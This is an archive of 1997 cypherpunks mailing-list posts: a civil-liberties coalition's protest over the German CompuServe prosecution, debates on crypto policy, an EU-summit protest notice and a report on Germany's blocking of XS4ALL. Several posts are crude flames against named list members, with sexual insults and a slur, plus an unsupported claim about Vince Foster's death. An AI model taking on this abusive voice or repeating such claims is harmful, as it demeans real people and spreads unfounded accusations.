From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <Banisar@epic.org>
Date: Wed, 23 Apr 1997 09:40:08 -0700 (PDT)
To: news@epic.org
Subject: Groups Protest German Compuserve Prosecution
Message-ID: <v03020903af83e9ef20c3@[204.91.138.227]>
MIME-Version: 1.0
Content-Type: text/plain



PRESS RELEASE
April 23, 1997
www.gilc.org

       LETTER TO CHANCELLOR KOHL URGES INVESTIGATION
                  OF COMPUSERVE PROSECUTION

A coalition of civil liberties organizations from a dozen countries
has written to German Chancellor Helmut Kohl to express concern
about the prosecution of an official from the Compuserve
company which is making makes available Internet access to
German subscribers. The official has been indicted by local
prosecutors.

The letter states the prosecution of the Compuserve manager Mr. Felix
Somm is "ill-advised for both technical and regulatory reasons"
and will "have a harmful impact on Internet users around the world."

The groups said that "the charges against CompuServe will establish a
harmful precedent, and may encourage other governments to censor speech,
limit political debate, control artistic expression, and otherwise deny the
opportunity for individuals to be fully informed."

The organizations signing the letter, which was organized by the
Global Internet Liberty Campaign, include the American Civil Liberties
Union, Arge Daten, Association des Utilisateurs d'Internet, Derechos
Human Rights, the Electronic Frontier Foundation, Human Rights Watch,
the Internet Society, and Privacy International.

Felipe Rodriquez, the administrator for XS4ALL, an internet provider
that was recently blocked by German authorities in a separate
matter said, "Is is not possible for a provider to censor the Internet
according to the local law, custom or tradition. The Internet is too
international and too dynamic for that to be possible. Censoring the
Internet has, in most cases, proved to be counterproductive."

Andy Oram, a member of the Computer Professionals for Social
Responsibility in the United States, said that he thought the
attempts by German to limit use of the Internet in this manner
were impractical. "Even if an Internet provider is notified that
illegal material is coming from a certain site and cuts off all
access to that site, the publisher of the material can easily find
another site from which to send it."

The groups also noted their support for efforts now underway in
the German parliament to liberalize the use of the Internet.
"We believe that the measure now under consideration to reduce
liability for Internet services will do much to ensure the protection
of personal freedoms in the future," said the organizations.

The Global Internet Liberty Campaign was established at the annual
meeting of the Internet Society in June 1996 in Montreal. It maintains
a web site at www.gilc.org with links to all of the member
organizations.

Last September the group organized a conference in Paris to
educate members of the Organization for Economic Cooperation
and Development about the need to develop cryptography polices
that protected privacy and fundamental human rights. Aspects
of the GILC recommendations were incorporated in the OECD
Cryptography Guidelines released earlier this year.


-----------------------------------------------------------------------

                 GLOBAL INTERNET LIBERTY CAMPAIGN

                            WWW.GILC.ORG




April 23, 1997

Chancellor Helmut Kohl
Adenauerallee 141
53113 Bonn
GERMANY

Dear Chancellor Kohl,

	The undersigned organizations, members of the Global Internet
Liberty Campaign, are writing to express concern about the prosecution of
Felix Somm, German representative of CompuServe, for the transmission of
allegedly illegal materials over the Internet. The news reports we have
received indicate that Mr. Somm is being prosecuted because Internet users
are able to obtain information on the Internet, by means of the  CompuServe
service, that may be considered illegal in Germany.

	We believe that the prosecution of the CompuServe manager is
ill-advised for both technical and regulatory reasons. We also believe that
this prosecution violates international norms for the protection of speech
and will have a harmful impact on Internet users around the world.

	There are two technical factors that prevent an service provider,
such as CompuServe, from blocking the free flow of information on the
Internet. First, an Internet service provider cannot easily stop the
incoming flow of material. No one can monitor the enormous quantity of
network traffic, which may consist of hundreds of thousands of emails,
newsgroup messages, files, and Web pages that pass through in dozens of
text and binary formats, some of them readable only by particular
proprietary tools. As the European Commission noted recently, "it is
as yet unclear how far it is technically possible to block access to
content once it is identified as illegal. This is a problem which
also affects the degree of liability of the access providers."

 	A second technical problem is that a provider cannot selectively
disable transmission to particular users. Electronic networks typically do
not allow for the identification of particular users or their national
region. Thus, we support CompuServe's claim that it cannot provide material
in one country while blocking it in another; such a distinction would
require an enormous new infrastructure on top of the current network.

	Some networking technologies, such as newsgroups, may allow
individual operators to select some groups or items and block others. But
many technologies, such as the widely used World Wide Web, currently do not
support such selectivity.

	We also oppose the prosecution of CompuServe because of the harmful
impact it will have on the development of new communication services around
the globe. The great appeal of the Internet is its openness. Efforts to
restrict the free flow of information on the Internet, like efforts to
restrict what may be said on a telephone, would place unreasonable burdens
on well established principles of privacy and free speech.

 	We believe that the charges against CompuServe will establish a
harmful precedent, and may encourage other governments to censor speech,
limit political debate, control artistic expression, and otherwise deny the
opportunity for individuals to be fully informed. The Universal Declaration
of Human Rights, adopted by the United Nations General Assembly on December
10, 1948, states:

       ARTICLE 19. Everyone has the right to freedom of opinion and
       expression; this right includes freedom to hold opinions without
       interference and to seek, receive and impart information and
       ideas through any media and regardless of frontiers.

	At the same, we are very much encouraged by the recent developments
in the German parliament concerning new approaches to the regulation of
Internet services. In particular, we believe that the measure now under
consideration to reduce liability for Internet services will do much to
ensure the protection of personal freedoms in the future.

	On behalf of the undersigned organizations and many Internet users
around the world, we ask you to investigate the matter of Mr. Somm and to
lend your support to policies that would promote the development of this
new communications technology in a manner consistent with the aims and
aspirations of democratic countries.

cc:    Dr. Edzard Schmidt-Jortzig.
       Federal Minister of Justice


			Respectfully yours,

                        (Listing of organizations)


ALCEI - Electronic Frontiers Italy [www.nexus.it/alcei]

American Civil Liberties Union [www.aclu.org]

Arge Daten [www.ad.or.at]

Association des Utilisateurs d'Internet [www.aui.fr]

Bevcom Internet Technologies [www.bevcom.org]

C.I.T.A.D.E.L. Electronic Frontier France [www.citadeleff.org]

Committee to Protect Journalists [www.cpj.org]

Computer Professional for Social Responsibility [www.cpsr.org]

Cyber-Rights & Cyber-Liberties (UK) [www.leeds.ac.uk/law/pgs/yaman/yaman.htm]

Derechos Human Rights [www.derechos.org]

Electronic Frontiers Australia [www.efa.org.au]

Electronic Frontier Canada [www.efc.ca]

Electronic Frontier Foundation [www.eff.org]

EFF-Austin [www.eff-austin.org]

Electronic Privacy Information Center [www.epic.org]

FITUG [www.fitug.de]

Fronteras Electronicas España (FrEE) [www.las.es/free]

Human Rights Watch [www.hrw.org]

Internet Society [www.isoc.org]

NetAction [www.netaction.org]

Peacefire [www.peacefire.org]

Privacy International [www.privacy.org/pi/]

XS4ALL [www.xs4all.nl]


[end]


=========================================================================
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003
PGP Key: http://www.epic.org/staff/banisar/key.html
=========================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Wed, 23 Apr 1997 12:43:22 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <Pine.LNX.3.95.970423154052.27399B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimi Vulis is just another garden variety KGB whore that has 
been misusing its `manhole' so badly that the overstretched 
sphincter cannot hold back the shit that all KGB spooks are full 
of and it spills out onto this mailing list.
 
      ,/         \,
     ((__,-,,,-,__)), Dimi Vulis
      `--)~   ~(--`
     .-'(       )`-,
     `~~`d\   /b`~~`
         |     |
         (6___6)
          `-6-`
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 23 Apr 1997 15:53:27 -0700 (PDT)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fwd:Clinton and RSA, True?
In-Reply-To: <199704221739.NAA16574@life.ai.mit.edu>
Message-ID: <199704232249.RAA06587@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199704221739.NAA16574@life.ai.mit.edu>, on 04/22/97 at 11:45 AM,
   "Phillip M. Hallam-Baker" <hallam@ai.mit.edu> said:



>>Yet, at the same time the Clinton administration attemped to
>>lump out nearly a billion dollars to buy a US company.  This
>>smaller, "leaner", US Government, according to Ira Sockowitz, a
>>former Commerce employee appointed by Bill Clinton, ordered him
>>to meet with RSA Inc. Chairman James Bidzos.  The topic of that
>>meeting was the official desire to secretly purchase RSA Inc.
>>using taxpayer money.

>[drivel deleted]

>Cyber dog loses points for the following:-

>NO mention of the Zarapuder film.

Yes I do believe that 1 bullet produced the 7 wounds to Kennedy's back &
neck and Connally's back, ribs, wrist & thigh then lands on the floor of
the car without a scratch. Yep, uh-hu uh-hu. 

I'm sure you will have no problem switching to the government's new
GAK-2000 crypto algorithm. They wouldn't lie or do anything wrong, would
they? Those back doors are only for nasty drug dealers & terrorist they
would never look at what you were doing, honest. :)

>NO explanation of Vince Foster's death.

The Clintons *know* who killed him or had him killed and why.

>NO consideration given to the credible evidence of UFO sightings. 

Why are they here? Looking for signs of intelligent life.

Why haven't they stayed? Never found any.

>Quite why the US govt. would want to buy RSA is beyond me. They already
>have a license to use RSA for internal purposes, the patent expires in
>three years in any case. Even if RSA was completely banned it would still
>be possible to use El-Gamal and variants for encryption and digital
>signatures.

>False, and no more than 3/10 for effort.


Shame, shame, shame for using the same tactics that the government uses
when countering someone that disagrees with them. Make them out to be some
type of wacko rather than address the issue at hand: Is or was the
government trying to secretly purchase or gain control of RSA, Inc.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Bugs come in through open Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM16hQI9Co1n+aLhhAQEmjwP+KnzV/2mNxr4Z9139VAg66iGe0/dVK4N+
sz1UdXjrE33ypDPvktBHSCQCI8h+Su9lNoo2FsdAiEZLTalXeHxLGqB7HZE0IouT
XCbFY+VOJPolTDJS+palwj7951EeSJniWuiP0jGlaWk7I+fw20rrbc+dEZQEqKR6
0ELBsp9u6GA=
=DKD5
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 23 Apr 1997 16:37:44 -0700 (PDT)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199704231800.LAA15657@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970423173521.45118B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 23 Apr 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy May is just another garden variety Intel pansy that has 
> been misusing its `manhole' so badly that the overstretched 
> sphincter cannot hold back the shit that all Intellers are full 
> of and it spills out onto this mailing list.
> 
>       ,/         \,
>      ((__,-,,,-,__)), Timothy May
>       `--)~   ~(--`
>      .-'(       )`-,
>      `~~`d\   /b`~~`
>          |     |
>          (6___6)
>           `---`
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 23 Apr 1997 16:16:13 -0700 (PDT)
To: cypherpunks@toad.com
Subject: BXA to Newt
Message-ID: <1.5.4.32.19970423231422.008b4af0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to Greg Broiles we offer a December 1996 letter
from BXA's William Reinsch to Speaker Gingrich with a
Report to Congress on the purpose and plan of export 
controls of commercial encryption items.

   http://jya.com/bxahouse.htm

One note of interest: a battalion of crypto enforcement troops 
is being trained to spot EAR EI violations and nab Bernsteins,
Karns, Jungers and rogues.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 23 Apr 1997 16:59:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Texas declares war...
Message-ID: <v0302095faf845187deee@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


I love April 19th.

Patriot's Day, indeed...

<http://www.overland.net/~embthert/em03019.html>



Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"...Wells Fargo's on-line banking sucks dead gerbils
through a dirty garden hose." -- Eric Murray
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Wed, 23 Apr 1997 20:29:47 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Get ZDNet on PointCast - FREE!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.15666.04231997200005.115364@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          4/24/97
-----------------------------------------------------------------

Announcing ZDNet on PointCast:  Get ZDNet broadcast directly 
to your desktop - Free! 

With the new ZDNet channel on the PointCast Network, you can 
now have ZDNet's comprehensive computing and Internet news 
delivered directly to your computer screen. You'll receive the 
latest technology news, in-depth product reviews for PC and Mac,
hot new games, shareware programs, and complete coverage of the 
latest Web-related news --  all broadcast to your computer 
screen, free of charge.

To get  your free personalized version of ZDNet broadcast to your
desktop, just visit the following page to download and install the 
PointCast Network software:

http://www.zdnet.com/partners/pcast/download.html

In addition to continuously updated technology news and features 
from leading Ziff-Davis publications,  you can also receive world 
news, stock updates, weather reports, sports scores, and more, 
all free via the PointCast Network!

If you're already a PointCast user, you can find out how to 
update your current version of PointCast with the new ZDNet
Channel by visiting:

http://www.zdnet.com/partners/pcast/upgrade.html

_______________________________________________________________       

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet. 

--To subscribe to ZDNet Announcements, please send mail to:
announce-on@lists.zdnet.com        
You can leave the subject and body blank.        

--To unsubscribe to ZDNet Announcements, please send mail to:
announce-off@lists.zdnet.com       
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 23 Apr 1997 22:18:06 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Texas declares war...
In-Reply-To: <v0302095faf845187deee@[139.167.130.246]>
Message-ID: <3.0.1.32.19970423221332.0065c9d0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:55 PM 4/23/97 -0400, Robert Hettinga wrote:
>I love April 19th.
>
>Patriot's Day, indeed...
>
><http://www.overland.net/~embthert/em03019.html>

Does anybody have a mirror of this site?
I'm getting no response to http or even ping.
Are they just down, or have they been squashed?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 23 Apr 1997 20:43:23 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WWW-Survey
Message-ID: <199704240344.XAA01175@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

GVU's Seventh WWW User Survey:

http://www.cc.gatech.edu/gvu/user_surveys/

Lot's of privacy/security questions etc..


Ciao

Harka



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM17ZWzltEBIEF0MBAQGYMQf9E6W8z9IifU0QD2/3pEEGE2yji7kndh59
aCJ5F5oVVlXF60gQmQ/wFc/24oXvLmS45zpYUgIXFYsi9Ja3y1BfRRe1kbnN1KFQ
KII3TX4H7SrBXmnhxP1YErlsZenWTAwLW8HEvGjWSTwbKXIGQQkm6Shddj+Kzdue
yN9ZUX3eIJeo60Km4JWJzi/fO0+6YPiaI3AcFxltmoNymDfOaviCbxXyL24wJ8B2
wlD1arsBVhT9bs5IB37bUoGDo6OWEzcMOBbY05s9UsAO+Vwp+/+IxAzCNxG8ab32
ed57SrfZSwk4D5oQX+7eZlelU0WvbJA3RsT23LCewwlS9QMmG4Jo1w==
=c1+l
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Apr 1997 01:00:06 -0700 (PDT)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Texas declares war...
In-Reply-To: <3.0.1.32.19970423221332.0065c9d0@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970424005856.00664080@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Bill Stewart <stewarts@ix.netcom.com> writes:
>> ><http://www.overland.net/~embthert/em03019.html>
>> Does anybody have a mirror of this site?
>> I'm getting no response to http or even ping.

Hmmm - it's back now.  False alarm...

At 02:46 AM 4/24/97 -0400, Jeremiah A Blatz wrote:

>As of 4/24 2:42 AM I could see it from the andrew.cmu.edu domain. In
>case you can't get it, the html (no images) should be available via:
><http://www.cs.cmu.edu/afs/andrew/usr/jer/www/texas.txt>. This
>mirroring does not constitute agreement with the contensts of the
>file, blah, blah, blah. (Hell, I didn't even read it all.)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 23 Apr 1997 23:46:38 -0700 (PDT)
To: stewarts@ix.netcom.com>
Subject: Re: Texas declares war...
In-Reply-To: <3.0.1.32.19970423221332.0065c9d0@popd.ix.netcom.com>
Message-ID: <0nLk6f200YUh1REHE0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:
> At 07:55 PM 4/23/97 -0400, Robert Hettinga wrote:
<snip>
> ><http://www.overland.net/~embthert/em03019.html>
> 
> Does anybody have a mirror of this site?
> I'm getting no response to http or even ping.

As of 4/24 2:42 AM I could see it from the andrew.cmu.edu domain. In
case you can't get it, the html (no images) should be available via:
<http://www.cs.cmu.edu/afs/andrew/usr/jer/www/texas.txt>. This
mirroring does not constitute agreement with the contensts of the
file, blah, blah, blah. (Hell, I didn't even read it all.)

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 24 Apr 1997 02:28:42 -0700 (PDT)
To: stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: Texas declares war...
In-Reply-To: <3.0.1.32.19970423221332.0065c9d0@popd.ix.netcom.com>
Message-ID: <199704240924.EAA20135@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


it is still there. i saved a copy just in case...

igor

Bill Stewart wrote:
> 
> At 07:55 PM 4/23/97 -0400, Robert Hettinga wrote:
> >I love April 19th.
> >
> >Patriot's Day, indeed...
> >
> ><http://www.overland.net/~embthert/em03019.html>
> 
> Does anybody have a mirror of this site?
> I'm getting no response to http or even ping.
> Are they just down, or have they been squashed?
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Apr 1997 11:37:16 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Post Office to act as CA, creator of keys
In-Reply-To: <3.0.1.32.19970423214619.0078b468@postoffice.pacbell.net>
Message-ID: <e9ZN6D24w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Are the people at C2Net really this clueless, or is this a joke?

Greg Broiles <gbroiles@netbox.com> writes:

...
> >Who in their right mind would *trust* the Post Office to act as a CA?
>
> Have been trying to think of a legitimate reason for the CA to generate keys,
> instead of the end-user; haven't come up with one yet. ...

To keep a copy, obviously.

> The database description doesn't list the private keys among the data that
> the Post Office plans to retain.

Let me see if I follow the C2Net shill's logic:

USPS generates my public/private pair of keys.
USPS doesn't list the private keys as the data USPS plans to retain
Therefore I can assume that they won't retain it.

I guess this fits with everything else C2Net's been doing and saying.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Apr 1997 11:34:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Do government employees have freedom of speech?
In-Reply-To: <v03007808af84a6285f4e@[207.167.93.63]>
Message-ID: <Lg1N6D26w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> At 8:53 PM -0800 4/23/97, Bill Frantz wrote:
> >I guess I have to defend my view.  In general, people on this list believe
> >that freedom of speech includes the freedom to lie.  (I seem to remember
> >having an exchange with Tim on the subject of truth in commercial speech a
> >year or so ago.)
>
> I don't recall that. In any case, I am not arguing that the government has
> any responsibility to stop lying, per se, I am saying that _employees_ of
> the U.S. Justice or Treasury or State or Defense Departments are no more
> free to "say whatever they wish" as employees of Apple or Intel or Sun are.

Employees of C2Net don't mind.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Apr 1997 11:30:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: The Net is Closing, the U.S. is becoming a Terror State
In-Reply-To: <v03007809af84a7bebec3@[207.167.93.63]>
Message-ID: <Vi1N6D28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> cyberpass.net is an unacceptable replacement for toad.com.]

Why, because your Cocksucker pal John Gilmore can't pull plugs?

> We're in a terror state when the War on Drugs, the War on Pornography, the
> War on Terrorism, the War on Guns, and the War on Unlicensed Cryptography
> makes us all criminals.

I've been saying this for some time now.  Any ideas where to emigrate to?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Thu, 24 Apr 1997 00:53:27 -0700 (PDT)
To: tank@xs4all.nl
Subject: EU-summit Amsterdam 16-17 june
Message-ID: <199704240751.JAA26179@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


A HOT SUMMER IN AMSTERDAM

  On the 16th and 17th of June the Eurotop will take place in
  Amsterdam. During this gathering of European heads of state in the
  Nederlandsche Bank in Amsterdam work will be done on the creation of
  a single economic power. With the market as the key word social
  services will either be privatised or scrapped. Governing policies
  will be made behind closed doors by impenetrable power structures.
  This tiny group of national leaders will give all power to
  capitalism and at the same time all possibilities for democratic
  alternatives will be dismantled. This process will be helped along
  by increasing levels of control, both internal and at the external
  borders of Europe. 


 The heads of state have big ideas for this European conference. They
 want to formulate the Treaty of Amsterdam, or Maastricht 2, a
 rewriting of the European Union treaty that was signed in 1992. In
 this treaty they want to abolish the right of veto for national
 cabinets and bring in new laws for foreign policy, judiciary and the
 police.

  The Eurotop is a blessing for Amsterdam's council. They will get the
  chance to rid the city of its image as a Sodom and Gomorrah full of
  slums, drugs and the sex industry and will instead be able to
  present the city as a respectable economically sound international
  city. In order to present this image to the government leaders and
  to ensure that the conference runs smoothly there will be thousands
  of extra police officers bought into Amsterdam and a large part of
  the city will be made into security zones. In these security zones
  people will be required to prove their identity and the streets will
  be 'cleared' of the homeless, illegal immigrants and other
  'undisirable elements'. A view of the future perhaps?

  Fortunately there are a lot of people and organisations who are
  discontented with these plans and intend to show their disgust and
  carry out acts of resistance during the conference.

  People from other countries and cities are of course welcome. We
  have already planned a number of actions and events that will take
  place between the 12th and 17th of June. Here we have an incomplete
  list of events. These actions will be organised by a broad spectrum
  of progressive groups and individuals. Therefore each group is
  responsible for its own plans. The actions have been planned taking
  other groups and events into consideration, but it has been decided
  that there will be no 'central comitee' to organise everything.
  There will remain plenty of room for other spontaneous occurences.
  During the conference there will be a number of 'info points' in
  Amsterdam where people will be able to obtain information about what
  is happening. The addresses of these points is not available at this
  moment but can be obtained from our address after 1st May. We are
  unable to arrange sleeping places for everybody, you will have to do
  that yourself (or arrange thast people can come and stay with you!)
  Individual actions and initiatives are welcome, so that we will be
  able to show in all manner of ways that we are not happy with the
  current policies of the EU but want a different and more just world.

It promises to be a long hot summer.

AN INCOMPLETE LIST OF ACTIVITIES THAT WILL TAKE PLACE DURING THE
EUROTOP IN AMSTERDAM.

14-6 Demonstration against unemployment, poverty and                  
 exploitation. 
          From mid- April thousands of people will be marching to     
                Amsterdam from various different countries. These     
                      marches will meet in Amsterrdam on the 14th as a
                            demonstration against EU policy.

11-6/17-6 Top from the bottom.
          "Platform for another Europe', a collaboration of various
          progressive groups will be organising discussions, actions
          and theme days. This will be in the form of an alternative
          top with speakers from different countries. There will be
          workshops about unemployment, poverty, social injustice,
          feminist Europe, Europe and the south, Ecological Europe and
          so on.

15-6  Demonstration/Action at the Border Hostel. 
      The Autonomous Centre will probably organise a cycle
      demonstration through the city which will end up at the prison
      for refugees in south east Amsterdam. Exact details of this
      action will be publicised later.

13-6/15-6 Chaos Days. 
       Punks will be gathering in Amsterdam to turn the city upside
       down.

15-6  Demonstration at the Homomonument.
      A demonstration against the verdict of the European court that
      England is alloewd to make voluntary SM sexual practises
      illegal. This will take place under the slogan "Sexual diversity
      in Europe". Organised by Stichting Gala.

12-6/13-6 United Conference.
          The biggest NGO gathering of the European Year Against
          Racism. The themes of this will be "Fortress Europe",
          "Everyday racism" and "Institutional Racism", there will be
          speakers from various countries. This will be held in
          English.

16-6 Eurorave.
     LegalizE street party against the European drugs policy "and the
     other shit that they have got planned for us."

17-6 Euroblow 
     A massive smoke-in at the Nederlandsche Bank as a protest against
     the European drugs policy.

17-6 Autonomous demonstration at the Nederlandsche Bank.
     Angry people wearing balaclavas in a tearing hurry to get to the
     Nederlandsche bank. Meeting point 14-00hours at the Dam.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Felipe Rodriquez <felipe@xs4all.nl>
Date: Thu, 24 Apr 1997 01:44:42 -0700 (PDT)
To: announce@xs4all.nl (announce)
Subject: Effective blockade on the Internet impossible (AP newswire)
Message-ID: <199704240838.KAA28541@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


This was was sent in Germany on tuesday, i got the translation today:

"Effective blockade on the Internet impossible" 

Frankfurt/M, April 22 (AP)
Effectively barring information of a certain kind from
the Internet is not possible. That is the outcome of a week 
long blockade by Deutsche Forschungsnetz (DFN) of the Dutch
Internet provider XS4ALL (meaning Access for All), which was
lifted Monday evening.
"It has been demonstrated that an effective blockade of
illegal information has not been within the bounds of
possibility" said DFN spokesman Klaus)Eckart Maass to AP news
agency last Tuesday. Other Web servers, according to Mr Maass,
have set up mirror sites of the online edition of the
underground magazine "Radikal", published via XS4ALL, that 
is, it has been copied and been made accessible to the public.
But this  only served to put "Radikal" really in the picture.
Besides, he had been faced with a flood of protest and abuse
from the Internet, Mr Maass said. "Maintaining the blockade
was not feasible."

With their measure of 11 April, DFN responded to a letter
from the Federal Criminal Investigation Department, pointing
out the illegal contents of the magazine. Issue no. 154 of the
radical left wing magazine contains a "Short Guide to
hindering railway transports of all kinds" a manual
describing how attacks can be made on the tracks on which the
nuclear waste transports to Gorleben take place. On account of
the Telecoms Bill, which received its second reading in the
federal parliament on Friday, he is obliged to bar access to
material on the Internet as soon as he learns of any illegal
contents, Mr Maass explained, provided this is technically
feasible.

Protests from Serbia's opposition broadcasting station B92

As suppressing separate Web)pages is technically not
possible, DFN cut off all access to the Dutch provider, which
offers more than 6,000 different information sites among
which those of Serbian opposition broadcasting station B92 and
several others in the scientific field. "I cannot undertake
anything that hampers scientific developments", said Mr Maass.
Three DFN users complained they were no longer able to reach
archeological and other information at XS4ALL. DFN, to which
all German universities are connected, is used by about
500,000 users to obtain access to the Internet. Protests also
came from B92, as the broadcasting station found its efforts
to further the cause of democracy in Serbia thwarted by the
blockade.
In September of last year several commercial Internet
providers had already blocked XS4ALL temporarily out of
concern, so they said, that the measures taken by the law
could take on such dimensions as would endanger their very
existence. This action gave rise to fierce protests on the
Internet, but also caused XS4ALL to remove issue 154 of
"Radikal" from the server temporarily. It has not come to that
during this recent blockade.
Speaking out on the renewed blockade, XS4ALL said they were 
surprised, stating that censoring measures on the
Internet had repeatedly proved to be counter productive. "As a
provider we take the position that we cannot curtail freedom
